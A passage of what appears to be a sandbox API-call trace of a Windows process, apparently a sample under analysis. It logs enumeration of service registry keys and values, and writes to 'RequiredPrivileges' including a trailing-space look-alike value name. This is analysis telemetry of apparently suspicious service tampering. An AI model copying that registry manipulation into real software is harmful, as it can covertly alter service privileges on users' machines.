lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.860] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.860] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1ad8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.860] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.860] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1ad8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0224.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.860] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.861] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.861] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.861] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0224.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0224.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0224.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0224.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0224.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0224.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0224.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0224.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0224.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0224.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0224.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0224.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0224.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0224.863] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0224.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0224.863] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0224.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0224.864] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0224.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0224.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0224.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0224.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0224.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0224.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0224.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0224.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0224.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0224.864] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0224.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0224.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0224.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0224.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0224.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0224.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0224.865] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4730) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46e8) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4658) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d358) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4610) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d488) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f45c8) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4580) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4538) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3f8) returned 1 [0224.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 